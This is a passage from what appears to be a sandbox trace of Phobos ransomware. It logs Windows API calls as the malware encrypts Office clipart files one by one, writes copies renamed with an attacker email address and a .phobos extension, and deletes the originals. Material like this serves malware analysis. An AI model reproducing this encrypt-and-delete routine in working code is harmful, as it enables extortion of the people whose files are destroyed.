CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.963] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.963] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.963] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.963] CryptDestroyKey (hKey=0x10dca50) returned 1 [0060.963] CloseHandle (hObject=0x328) returned 1 [0060.963] CloseHandle (hObject=0x330) returned 1 [0060.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0060.968] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.016] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1212) returned 1 [0061.016] CloseHandle (hObject=0x2fc) returned 1 [0061.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0061.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.016] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.016] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.021] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc710) returned 1 [0061.021] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.021] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4bc, lpOverlapped=0x0) returned 1 [0061.025] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4c0) returned 1 [0061.025] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4c0, lpOverlapped=0x0) returned 1 [0061.026] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0061.026] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.026] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.026] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0061.026] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.026] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.026] CloseHandle (hObject=0x2fc) returned 1 [0061.026] CloseHandle (hObject=0x330) returned 1 [0061.027] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0061.028] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.028] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5580) returned 1 [0061.028] CloseHandle (hObject=0x330) returned 1 [0061.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220 [0061.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.028] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.029] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.029] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0061.029] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.029] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x15cc, lpOverlapped=0x0) returned 1 [0061.036] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x15d0, dwBufLen=0x15d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x15d0) returned 1 [0061.036] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x15d0, lpOverlapped=0x0) returned 1 [0061.037] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0061.037] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.037] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.037] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.037] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.037] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0061.038] CloseHandle (hObject=0x330) returned 1 [0061.038] CloseHandle (hObject=0x2fc) returned 1 [0061.039] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0061.040] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.040] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2488) returned 1 [0061.040] CloseHandle (hObject=0x2fc) returned 1 [0061.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x220 [0061.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.040] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.040] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.041] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc710) returned 1 [0061.041] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.041] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x9b8, lpOverlapped=0x0) returned 1 [0061.049] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x9c0) returned 1 [0061.049] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x9c0, lpOverlapped=0x0) returned 1 [0061.050] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0061.050] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.050] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.050] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0061.051] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.051] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.051] CloseHandle (hObject=0x2fc) returned 1 [0061.051] CloseHandle (hObject=0x330) returned 1 [0061.051] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0061.052] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.053] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3896) returned 1 [0061.053] CloseHandle (hObject=0x330) returned 1 [0061.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0061.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.053] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.053] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.054] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0061.054] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.054] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xf38, lpOverlapped=0x0) returned 1 [0061.210] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf40, dwBufLen=0xf40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xf40) returned 1 [0061.210] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf40, lpOverlapped=0x0) returned 1 [0061.211] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0061.211] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.211] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.211] CryptDestroyKey (hKey=0x10dc790) returned 1 [0061.211] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.212] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.212] CloseHandle (hObject=0x330) returned 1 [0061.212] CloseHandle (hObject=0x2fc) returned 1 [0061.213] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0061.214] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.216] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2732) returned 1 [0061.216] CloseHandle (hObject=0x330) returned 1 [0061.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0061.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0061.218] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.218] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0061.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.219] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0061.219] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.219] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xaac, lpOverlapped=0x0) returned 1 [0061.235] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xab0, dwBufLen=0xab0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xab0) returned 1 [0061.235] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xab0, lpOverlapped=0x0) returned 1 [0061.236] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc550) returned 1 [0061.236] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0061.236] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0061.236] CryptDestroyKey (hKey=0x10dc550) returned 1 [0061.236] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0061.236] CryptDestroyKey (hKey=0x10dca50) returned 1 [0061.236] CloseHandle (hObject=0x300) returned 1 [0061.236] CloseHandle (hObject=0x328) returned 1 [0061.238] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1 [0061.239] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0061.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0061.239] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3494) returned 1 [0061.239] CloseHandle (hObject=0x328) returned 1 [0061.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0061.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 